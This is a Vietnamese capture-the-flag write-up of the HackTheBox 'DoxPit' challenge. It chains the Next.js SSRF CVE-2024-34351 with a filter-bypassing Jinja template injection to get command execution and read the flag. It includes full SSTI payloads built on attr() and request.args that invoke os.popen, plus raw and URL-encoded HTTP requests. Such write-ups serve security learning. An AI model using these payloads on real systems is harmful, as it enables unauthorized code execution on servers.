# DoxPit HackTheBox ## Recon Giao diện trang web ![image](https://hackmd.io/_uploads/HkmG74iD0.png) Trừ Hall of Fame `/hof` thì tất cả link khác đều redirect đến `/error` ![image](https://hackmd.io/_uploads/HkLOdriDC.png) Frontend trang web sử dụng NextJS v14.1.0 ![image](https://hackmd.io/_uploads/H1lhINVsw0.png) ## SSTI Trong source code route.py Khi sử dụng các kí tự trong `invalid_chars` thì server sẽ trả về `error` ![image](https://hackmd.io/_uploads/Bk2JNEow0.png) ![image](https://hackmd.io/_uploads/SkRPVEoPC.png) Flag đã được thêm chuỗi random đằng sau nên cần RCE để đọc flag ![image](https://hackmd.io/_uploads/BJAjEViPC.png) ![image](https://hackmd.io/_uploads/SkAgrVowA.png) Hàm `scan_directory` nhận input là đường dẫn thư mục từ người dùng sau đó sẽ tìm đệ quy tất cả các file trong thư mục và so sách hash các file đó xem có nằm trong blacklist không, nếu có thì báo là malicious, ko thì báo safe sau đó sẽ trả kết quả để đưa vào 1 template => SSTI Note: `Flask` dùng `Jinja` template ![image](https://hackmd.io/_uploads/rk9rH4jDC.png) ![image](https://hackmd.io/_uploads/HJQ5eHovC.png) ![image](https://hackmd.io/_uploads/H1BYz8oDR.png) Project `av` chạy trên port `3000` nhưng không thể truy cập từ bên ngoài vì vậy chúng ta cần SSRF để khai thác SSTI trên server Chạy thử project `av` ![image](https://hackmd.io/_uploads/SJvMZHsDA.png) ![image](https://hackmd.io/_uploads/r1WN-BjDA.png) Khi đăng kí một token sẽ được tạo cho user ![image](https://hackmd.io/_uploads/HyQwWriwA.png) Scan thử dir `/home/kali` ![image](https://hackmd.io/_uploads/rJRmzBjDA.png) Inject payload vào `{%print(1822)%}` ![image](https://hackmd.io/_uploads/ry30fBovR.png) Bây giờ đã RCE được nhưng vì các ký tự “{{{” và “}}” bị cấm nên chúng ta sẽ sử dụng “{%” “%}”. Chúng ta cũng không thể sử dụng “.” để gọi các phương thức, nhưng có thể sử dụng hàm attr, hàm này cho phép chúng ta lấy một thuộc tính mà không cần sử dụng dấu chấm. Payload from Hacktrick ``` {%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls${IFS}-l${IFS}/')|attr('read')()%}{%print(a)%}{%endwith%} ``` Do cũng không thể sử dụng `\x` nên việc encode HEX không cần thiết. Thay vào đó có thể sử dụng ``` request|attr(request.args.foo) ``` Payload ``` {%with a=((((request|attr('application'))|attr(request|attr("args")|attr("get")('globals')))|attr(request|attr("args")|attr("get")('getitem')))(request|attr("args")|attr("get")('builtins'))|attr(request|attr("args")|attr("get")('getitem')))(request|attr("args")|attr("get")('import'))('os')|attr('popen')(request|attr("args")|attr("get")('cmd'))|attr('read')()%}{%print(a)%}{%endwith%}&globals=__globals__&getitem=__getitem__&builtins=__builtins__&import=__import__&cmd=ls -l / ``` ```http! GET /home?directory={%25with+a%3d((((request|attr('application'))|attr(request|attr("args")|attr("get")('globals')))|attr(request|attr("args")|attr("get")('getitem')))(request|attr("args")|attr("get")('builtins'))|attr(request|attr("args")|attr("get")('getitem')))(request|attr("args")|attr("get")('import'))('os')|attr('popen')(request|attr("args")|attr("get")('cmd'))|attr('read')()%25}{%25print(a)%25}{%25endwith%25}&globals=__globals__&getitem=__getitem__&builtins=__builtins__&import=__import__&cmd=whoami HTTP/1.1 Host: localhost:3000 sec-ch-ua: "Not/A)Brand";v="8", "Chromium";v="126" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Linux" Accept-Language: en-US Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Cookie: session=0lfl_Dm3t8kjDoR_nH7HnDEySPpvkL819WPXt8zOVRI Connection: keep-alive ``` ![image](https://hackmd.io/_uploads/r1PAVSsPR.png) ## SSRF Phiên bản NextJS 14.1.0 có [CVE-2024-34351](https://nvd.nist.gov/vuln/detail/CVE-2024-34351) SSRF Khai thác lỗ hổng này bằng cách sửa `Host` header Tiếp theo, để sử dụng SSRF, chúng ta cần Next-Action ID. Nó có thể được tìm thấy trong mã nguồn của trang. ![image](https://hackmd.io/_uploads/HJe0OEoDR.png) ## Get flag Host 1 máy chủ redriect đến /register trigger lỗ hổng SSRF và lấy token ![image](https://hackmd.io/_uploads/HkhqQLjPA.png) Khi gửi request dùng method `POST` máy chủ sẽ redirect đến endpoint đăng ký ![image](https://hackmd.io/_uploads/BJM13SovR.png) Sau khi trigger thành công sử dụng token và chèn payload đã tạo ở trên vào param `directory` để khai thác SSTI Payload ```! {%with a=((((request|attr('application'))|attr(request|attr("args")|attr("get")('globals')))|attr(request|attr("args")|attr("get")('getitem')))(request|attr("args")|attr("get")('builtins'))|attr(request|attr("args")|attr("get")('getitem')))(request|attr("args")|attr("get")('import'))('os')|attr('popen')(request|attr("args")|attr("get")('cmd'))|attr('read')()%}{%print(a)%}{%endwith%}&globals=__globals__&getitem=__getitem__&builtins=__builtins__&import=__import__&cmd=ls -l / ``` Encode ```! {%with%20a=((((request|attr(%27application%27))|attr(request|attr(%22args%22)|attr(%22get%22)(%27globals%27)))|attr(request|attr(%22args%22)|attr(%22get%22)(%27getitem%27)))(request|attr(%22args%22)|attr(%22get%22)(%27builtins%27))|attr(request|attr(%22args%22)|attr(%22get%22)(%27getitem%27)))(request|attr(%22args%22)|attr(%22get%22)(%27import%27))(%27os%27)|attr(%27popen%27)(request|attr(%22args%22)|attr(%22get%22)(%27cmd%27))|attr(%27read%27)()%}{%print(a)%}{%endwith%}&globals=__globals__&getitem=__getitem__&builtins=__builtins__&import=__import__&cmd=ls%20-l%20/ ``` ![image](https://hackmd.io/_uploads/BkvtXLjwA.png) Get flag! ![image](https://hackmd.io/_uploads/B1pbaBivA.png)